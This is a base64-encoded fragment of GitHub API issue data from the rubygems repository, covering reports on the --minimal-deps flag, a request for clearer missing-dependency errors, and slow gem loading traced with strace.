5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA0Ni9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA0NiIsImlkIjoyNjcwMTE4NDYsIm51bWJlciI6MjA0NiwidGl0bGUiOiJJcyAtLW1pbmltYWwtZGVwcyBkZXByZWNhdGVkPyIsInVzZXIiOnsibG9naW4iOiJwdjQiLCJpZCI6MjUwMjA5NCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjUwMjA5ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcHY0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcHY0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcHY0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3B2NC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wdjQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3B2NC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3B2NC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3B2NC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wdjQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wdjQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3B2NC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6NDQzMjkzMzg0LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdXNlciUyMGZlZWRiYWNrJTIwcmVxdWlyZWQiLCJuYW1lIjoic3RhdHVzOiB1c2VyIGZlZWRiYWNrIHJlcXVpcmVkIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MiwiY3JlYXRlZF9hdCI6IjIwMTctMTAtMTlUMjI6NDI6MDlaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMjJUMDE6MDA6MTdaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6ImBnZW0gLS1taW5pbWFsLWRlcHMgLS1jb25zZXJ2YXRpdmVgIHVwZGF0ZXMgYWxyZWFkeSBpbnN0YWxsZWQgZ2VtIGRlcGVuZGVuY2llcyBldmVuIGlmIHRoZXkgc2F0aXNmeSB0aGUgdmVyc2lvbiByZXF1aXJlbWVudHMuIElzIGl0IG9rP1xyXG5cclxuSSBndWVzcyBpdCBpcyBzb21laG93IGNvbm5lY3RlZCB3aXRoIGRlcHJlY2F0aW9uIG9mIGBkZXBlbmRlbmN5X2luc3RhbGxlci5yYjphZGRfZm91bmRfZGVwZW5kZW5jaWVzYCAob25seSB1c2VkIGluIGBkZXBlbmRlbmN5X2luc3RhbGxlci5yYjpnYXRoZXJfZGVwZW5kZW5jaWVzYCkgdGhhdCBpcyB0aGUgb25seSBwbGFjZSB3aGVyZSBgb3B0aW9uc1s6bWluaW1hbF9kZXBzXWAgaXMgdXNlZC5cclxuXHJcbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcclxuXHJcbmBgYFxyXG4kIGdlbSBlbnYgdmVyc2lvblxyXG4yLjYuMTNcclxuYGBgXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAzOSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDM5L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDM5L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMzkvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMzkiLCJpZCI6MjY1NDYxNDExLCJudW1iZXIiOjIwMzksInRpdGxlIjoiQWRkIHdoaWNoIGdlbSBoYXMgYW4gaW52YWxpZCBnZW0gcmVmZXJyZWQgdG8gKGludmFsaWQgPT0gbm8gbG9uZ2VyIGV4aXN0aW5nIGdlbSwgaW4gdGhpcyBjb250ZXh0IGhlcmUpIiwidXNlciI6eyJsb2dpbiI6InNoZXZlZ2VuIiwiaWQiOjEzNzIzLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzcyMz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4iLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zaGV2ZWdlbiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjcyMTg4MTkxNywidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvZ29vZCUyMGZpcnN0JTIwaXNzdWUiLCJuYW1lIjoiZ29vZCBmaXJzdCBpc3N1ZSIsImNvbG9yIjoiMTY3NDdjIiwiZGVmYXVsdCI6dHJ1ZX0seyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjAsImNyZWF0ZWRfYXQiOiIyMDE3LTEwLTE0VDAzOjQyOjQ3WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEwLTE2VDIyOjQ1OjMwWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJIZWxsbyBydWJ5Z2VtcyBtYWludGFpbmVycyxcclxuXHJcbkp1c3Qgbm93LCBvbiBhIG5ldyBtYWNoaW5lLCBJIGFtIHRlc3RpbmcgbXkgZ2VtcyBmcm9tIGEgcmVtb3RlIGluc3RhbGxhdGlvbi4gT25lIGdlbSBjYWxsZWQgXCJyYnRcIjpcclxuXHJcbj4gZ2VtIGluc3RhbGwgcmJ0XHJcblxyXG5UaGUgYWJvdmUgaXMgdGhlIGNvbW1hbmQgSSB1c2UuXHJcblxyXG5UaGUgbmV4dCBpcyB0aGUgcmVzdWx0IEkgZ2V0OlxyXG5cclxuRVJST1I6ICBDb3VsZCBub3QgZmluZCBhIHZhbGlkIGdlbSAnbW92ZV9maWxlJyAoPj0gMCkgaW4gYW55IHJlcG9zaXRvcnlcclxuRVJST1I6IFBvc3NpYmxlIGFsdGVybmF0aXZlczogbW92ZWFibGUsIHNhdmVfZmlsZSwgd2F2ZWZpbGUsIHpvbmVmaWxlLCBib29rZmlsZVxyXG5cclxuTm93LCBJIGtub3cgdG8gc29tZSBleHRlbnQgYXMgdG8gd2h5IHRoZSBhYm92ZSBlcnJvciBleGlzdHMuIEkgdXNlZCB0byBoYXZlXHJcbmEgZ2VtIGNhbGxlZCBcIm1vdmVfZmlsZVwiIGJ1dCBzaW5jZSB0aGVuIEkgaW50ZWdyYXRlZCBpdCBpbnRvIG15IGxhcmdlciB0b29sLWtpdFxyXG5nZW0gY2FsbGVkIFwicm9lYmVcIi5cclxuXHJcblRoZSB0aGluZyBpcyAtIHJpZ2h0IG5vdyBJIGRvIG5vdCBrbm93IHdoaWNoIGZhdWx0eSBwYWNrYWdlIHJlZmVyZW5jZXMgdG9cclxudGhlIChubyBsb25nZXIgZXhpc3RpbmcgZ2VtKSBjYWxsZWQgXCJtb3ZlX2ZpbGVcIi5cclxuXHJcbk5vdyBJIGNvbWUgdG8gbXkgcHJvcG9zYWw6XHJcblxyXG4tIFdvdWxkIGl0IGJlIHBvc3NpYmxlIHRvIHNob3cgd2hpY2ggcGFydGljdWxhciBnZW0gcmVmZXJlbmNlZCB0aGlzIFxyXG5nZW0/IFRoYXQgd2F5IEkgY291bGQgdmVyeSBlYXNpbHkgc2VlIHdoaWNoIGdlbSBoYXMgYSBicm9rZW4gXHJcbmRlcGVuZGVuY3kuIEl0IGlzIGEgYml0IGhhcmQgZm9yIG1lIHRvIGtub3cgd2hpY2ggZ2VtIGhhcyBhIHN0cmF5XHJcbm1pc3NpbmcgZGVwZW5kZW5jeSBpbiAuZ2Vtc3BlYywgYWxzbyBiZWNhdXNlIHNvbWUgZ2Vtc3BlY1xyXG5maWxlcyBhcmUgYXV0b2dlbmVyYXRlZCBvciByZWZlcmVuY2UgdG8gYW5vdGhlciBkZXBlbmRlbmN5IFxyXG5maWxlLiA6XFxcclxuXHJcblRoZSBhYm92ZSBtZXNzYWdlIGRvZXMgbm90IGhhdmUgdG8gY2hhbmdlIG11Y2ggLSBlaXRoZXIgYSBuZXdcclxubGluZSB0aGF0IHNheXMgd2hpY2ggZ2VtcyBpcyBmbGF3ZWQsIG9yIHRvIGludGVncmF0ZSB0aGlzIGludG8gdGhlXHJcbmN1cnJlbnRseSB1c2VkIG1lc3NhZ2VzLCBzdWNoIGFzOlxyXG5cclxuXCJFUlJPUjogIENvdWxkIG5vdCBmaW5kIGEgdmFsaWQgZ2VtICdtb3ZlX2ZpbGUnICg+PSAwKSBpbiBhbnkgcmVwb3NpdG9yeSAocmVmZXJlbmNlZCBieSB0aGUgZ2VtIGZvb2JhclwiXHJcblxyXG5CdXQgYSBuZXcgbWVzc2FnZSBtYXkgcHJvYmFibHkgYmUgYmV0dGVyOyBpZiBtb3JlIHRoYW4gb25lIGdlbVxyXG5oYXMgdGhpcyBtaXNzaW5nIGRlcGVuZGVuY3ksIHRoZW4gYWxsIGNvdWxkIGJlIHNob3duLCBidXQgSSBhbSBhbHNvXHJcbnBlcmZlY3RseSBmaW5lIGlmIG9ubHkgb25lIGdlbSBpcyBzaG93biBhdCBhIHRpbWUuIFRoZW4gSSBjYW4gZml4IGl0XHJcbmFuZCB0cnkgZ2VtIGluc3RhbGwgYWdhaW4uXHJcblxyXG5Ib3BlZnVsbHkgb3RoZXJzIG1heSBmaW5kIHRoaXMgYWxzbyB1c2VmdWwuIFRoYW5rcyBmb3IgcmVhZGluZywgcGxlYXNlXHJcbmZlZWwgZnJlZSB0byBjbG9zZSB0aGUgaXNzdWUgYXQgYW55IG1vbWVudCBpbiB0aW1lLiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjAzNyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDM3L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDM3L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMzcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwMzciLCJpZCI6MjY0ODk4MjkxLCJudW1iZXIiOjIwMzcsInRpdGxlIjoic3RhdC9vcGVuIGNhbGxzIHNsb3dpbmcgZ2VtIGxvYWQgZG93biIsInVzZXIiOnsibG9naW4iOiJ0b25vYm8iLCJpZCI6Njc3NTg5NiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNjc3NTg5Nj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdG9ub2JvIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdG9ub2JvIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdG9ub2JvL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Rvbm9iby9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90b25vYm8vZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Rvbm9iby9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Rvbm9iby9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Rvbm9iby9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90b25vYm8vcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90b25vYm8vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3Rvbm9iby9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzE5NTQxNjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9wZXJmb3JtYW5jZSIsIm5hbWUiOiJwZXJmb3JtYW5jZSIsImNvbG9yIjoiZGQwMGRkIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjAsImNyZWF0ZWRfYXQiOiIyMDE3LTEwLTEyVDEwOjU5OjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEwLTE4VDExOjMzOjE3WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJJ3ZlIGFuIHBlcmZvcm1hbmNlIGlzc3VlIHdoaWNoIGlzIHJlbGF0ZWQgdG8gZ2VtIHJlcXVpcmVtZW50LlxyXG5cclxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZpcm9ubWVudCBkZXRhaWxzOlxyXG5cclxuYGBgXHJcbiQgZ2VtIGVudiB2ZXJzaW9uXHJcbjIuNS4xXHJcbmBgYFxyXG5cclxuSSBkaXNjb3ZlcmVkIHRoYXQgbXkgZ2VtcyB3aWxsIHNsb3cgZG93biB3aXRoIHRoZSBhbW91dCBvZiBnbG9iYWwgZ2VtcyBhcmUgaW5zdGFsbGVkLiBBZnRlciBhd3Mtc2RrIGhhcyBiZWVuIHNwbGl0dGVkIGludG8gaHVuZHJlZHMgb2YgZ2VtcywgY2xpIHRvb2xzIHdlcmUgdW51YXNibGUuIFxyXG5cclxuUGxlYXNlIHRha2UgYSBsb29rIGF0IHRoZSBmb2xsb3dpbmcgc25pcHBldHM6XHJcblxyXG5PbmUgb2YgbXkgZ2Vtcy4gKEJlZm9yZSBgZ2VtIGNsZWFudXBgKVxyXG5gYGBcclxucm9vdEBub2RlNyB+ICMgc3RyYWNlIGhjdGwgbXkgY3VzdG9tIGNvbW1hbmQgMTYgMj4mMSB8IGdyZXAgLVAgJ3N0YXRcXChcIi8odmFyfHVzciknIC1jXHJcbjE2MzQ3N1xyXG5cclxucm9vdEBub2RlNyB+ICMgc3RyYWNlIGhjdGwgbXkgY3VzdG9tIGNvbW1hbmQgMTYgMj4mMSB8IGdyZXAgLVAgJ3N0YXRcXChcIi4qYXdzJyAtY1xyXG44Mjk0OFxyXG5gYGBcclxuXHJcbkFmdGVyIGBnZW0gY2xlYW51cGA6XHJcbmBgYFxyXG5yb290QG5vZGU3IH4gIyBzdHJhY2UgaGN0bCBteSBjdXN0b20gY29tbWFuZCAxNiAyPiYxIHwgZ3JlcCAtUCAnc3RhdFxcKFwiLiphd3MnIC1jXHJcbjYxMTVcclxuYGBgXHJcbkluIGdlbmVyYWwgdGhpcyBpcyByZXByb2R1Y2libGUgd2l0aCBhbnkgb3RoZXIgZ2VtLCB0YWtlIGEgbG9vayB0aGUgdGhlIGZvbGxvd2luZyBzYW1wbGVzLlxyXG5cclxuU3lzdGVtIDE6IFVidW50dSAxNi4wNCAtIHJ1YnkgMi4zLjFwMTEyICgyMDE2LTA0LTI2KSBbeDg2XzY0LWxpbnV4LWdudV1cclxuYGBgXHJcbiAjIHN0cmFjZSAtYyBydWJ5IC1yIGFjdGl2ZV9zdXBwb3J0L2FsbCAtZSBcInB1dHMgJydcIlxyXG5cclxuJSB0aW1lICAgICBzZWNvbmRzICB1c2Vjcy9jYWxsICAgICBjYWxscyAgICBlcnJvcnMgc3lzY2FsbFxyXG4tLS0tLS0gLS0tLS0tLS0tLS0gLS0tLS0tLS0tLS0gLS0tLS0tLS0tIC0tLS0tLS0tLSAtLS0tLS0tLS0tLS0tLS0tXHJcbiAzNS4wOSAgICAwLjAwMDA0MCAgICAgICAgICAgMCAgICAgIDU1NDAgICAgICA1MDAxIHN0YXRcclxuIDIxLjA1ICAgIDAuMDAwMDI0ICAgICAgICAgICAwICAgICAgMzEzMyAgICAgIDIxMzMgb3BlblxyXG4gMTkuMzAgICAgMC4wMDAwMjIgICAgICAgICAgIDAgICAgICAxMDg2ICAgICAgICAgICByZWFkXHJcbiAxNy41NCAgICAwLjAwMDAyMCAgICAgICAgICAgMCAgICAgIDM2ODMgICAgICAgICAgIGxzdGF0XHJcbiAgNy4wMiAgICAwLjAwMDAwOCAgICAgICAgICAgMCAgICAgICAzODIgICAgICAgICAgIGdldGV1aWRcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgICAgMSAgICAgICAgICAgd3JpdGVcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgMTAwMiAgICAgICAgICAgY2xvc2VcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgMTIxMCAgICAgICAgICAgZnN0YXRcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgICAxNSAgICAgICAgICAgbHNlZWtcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgICA2MyAgICAgICAgICAgbW1hcFxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgIDQ5ICAgICAgICAgICBtcHJvdGVjdFxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAzICAgICAgICAgICBtdW5tYXBcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgIDE5MyAgICAgICAgICAgYnJrXHJcbiAgMC4wMCAgICAwLjAwMDAwMCAgICAgICAgICAgMCAgICAgICAgMTggICAgICAgICAgIHJ0X3NpZ2FjdGlvblxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAzICAgICAgICAgICBydF9zaWdwcm9jbWFza1xyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgNTcxICAgICAgIDU2OCBpb2N0bFxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgIDExICAgICAgICAxMSBhY2Nlc3NcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgICAgMSAgICAgICAgICAgY2xvbmVcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgICAgMSAgICAgICAgICAgZXhlY3ZlXHJcbiAgMC4wMCAgICAwLjAwMDAwMCAgICAgICAgICAgMCAgICAgICAzODkgICAgICAgICAgIGZjbnRsXHJcbiAgMC4wMCAgICAwLjAwMDAwMCAgICAgICAgICAgMCAgICAgICAgMTAgICAgICAgICAgIGdldGRlbnRzXHJcbiAgMC4wMCAgICAwLjAwMDAwMCAgICAgICAgICAgMCAgICAgICAgIDMgICAgICAgICAgIGdldHJsaW1pdFxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAxICAgICAgICAgICBzeXNpbmZvXHJcbiAgMC4wMCAgICAwLjAwMDAwMCAgICAgICAgICAgMCAgICAgICAzODEgICAgICAgICAgIGdldHVpZFxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgMzgxICAgICAgICAgICBnZXRnaWRcclxuICAwLjAwICAgIDAuMDAwMDAwICAgICAgICAgICAwICAgICAgIDM4MiAgICAgICAgICAgZ2V0ZWdpZFxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAxICAgICAgICAgICBzaWdhbHRzdGFja1xyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAxICAgICAgICAgICBhcmNoX3ByY3RsXHJcbiAgMC4wMCAgICAwLjAwMDAwMCAgICAgICAgICAgMCAgICAgICAgIDIgICAgICAgICAgIGZ1dGV4XHJcbiAgMC4wMCAgICAwLjAwMDAwMCAgICAgICAgICAgMCAgICAgICAgIDEgICAgICAgICAgIHNjaGVkX2dldGFmZmluaXR5XHJcbiAgMC4wMCAgICAwLjAwMDAwMCAgICAgICAgICAgMCAgICAgICAgIDEgICAgICAgICAgIHNldF90aWRfYWRkcmVzc1xyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAxICAgICAgICAgICBjbG9ja19nZXR0aW1lXHJcbiAgMC4wMCAgICAwLjAwMDAwMCAgICAgICAgICAgMCAgICAgICAgIDEgICAgICAgICAgIHNldF9yb2J1c3RfbGlzdFxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAyICAgICAgICAgICBwaXBlMlxyXG4gIDAuMDAgICAgMC4wMDAwMDAgICAgICAgICAgIDAgICAgICAgICAyICAgICAgICAgICBnZXRyYW5kb21cclxuLS0tLS0tIC0tLS0tLS0tLS0tIC0tLS0tLS0tLS0tIC0tLS0tLS0tLSAtLS0tLS0tLS0gLS0tLS0tLS0tLS0tLS0tLVxyXG4xMDAuMDAgICAgMC4wMDAxMTQgICAgICAgICAgICAgICAgIDE4NTI0ICAgICAgNzcxMyB0b3RhbFxyXG5gYGBcclxuXHJcblN5c3RlbSAxOiBVYnVudHUgMTYuMDQgLSBydWJ5IDIuMy4xcDExMiAoMjAxNi0wNC0yNikgW3g4Nl82NC1saW51eC1nbnVdXHJcbmBgYFxyXG4gPj4+IHN0cmFjZSAtYyBydWJ5IC1yIGFjdGl2ZV9zdXBwb3J0L2FsbCAtZSBcInB1dHMgJydcIiBcclxuJSB0aW1lICAgICBzZWNvbmRzICB1c2Vjcy9jYWxsICAgICBjYWxscyAgICBlcnJvcnMgc3lzY2FsbFxyXG4tLS0tLS0gLS0tLS0tLS0tLS0gLS0tLS0tLS0tLS0gLS0tLS0tLS0tIC0tLS0tLS0tLSAtLS0tLS0tLS0tLS0tLS0tXHJcbiAzNC44MiAgICAwLjAxMTM4NSAgICAgICAgICAgMiAgICAgIDYzMTkgICAgICA1ODM1IHN0YXRcclxuIDE3LjQxICAgIDAuMDA1Njk0ICAgICAgICAgICAyICAgICAgMzIyMSAgICAgIDIxMzIgb3BlblxyXG4gMTUuNzcgICAgMC4wMDUxNTYgICAgICAgICAgIDEgICAgICAzNzcxICAgICAgICAgICBsc3RhdFxyXG4gMTAuNDkgICAgMC4wMDM0MzAgICAgICAgICAgIDMgICAgICAxMTc0ICAgICAgICAgICByZWFkXHJcbiAgNC40OSAgICAwLjAwMTQ2NyAgICAgICAgICAgMSAgICAgIDEwOTEgICAgICAgICAgIGNsb3NlXHJcbiAgMy45OSAgICAwLjAwMTMwNCAgICAgICAgICAgMSAgICAgIDEyMTAgICAgICAgICAgIGZzdGF0XHJcbiAgMi4zMCAgICAwLjAwMDc1MyAgICAgICAgICAgMSAgICAgICA2NjAgICAgICAgNjU3IGlvY3RsXHJcbiAgMS41NyAgICAwLjAwMDUxMiAgICAgICAgICAgMyAgICAgICAxNzggICAgICAgICAgIGJya1xyXG4gIDEuMjYgICAgMC4wMDA0MTMgICAgICAgICAgIDEgICAgICAgMzg5ICAgICAgICAgICBmY250bFxyXG4gIDEuMjUgICAgMC4wMDA0MTAgICAgICAgICAgIDcgICAgICAgIDYzICAgICAgICAgICBtbWFwXHJcbiAgMS4xOSAgICAwLjAwMDM5MCAgICAgICAgICAgOCAgICAgICAgNDkgICAgICAgICAgIG1wcm90ZWN0XHJcbiAgMS4wMyAgICAwLjAwMDMzNyAgICAgICAgICAgMSAgICAgICAzODIgICAgICAgICAgIGdldGV1aWRcclxuICAwLjk4ICAgIDAuMDAwMzIwICAgICAgICAgICAxICAgICAgIDM4MSAgICAgICAgICAgZ2V0dWlkXHJcbiA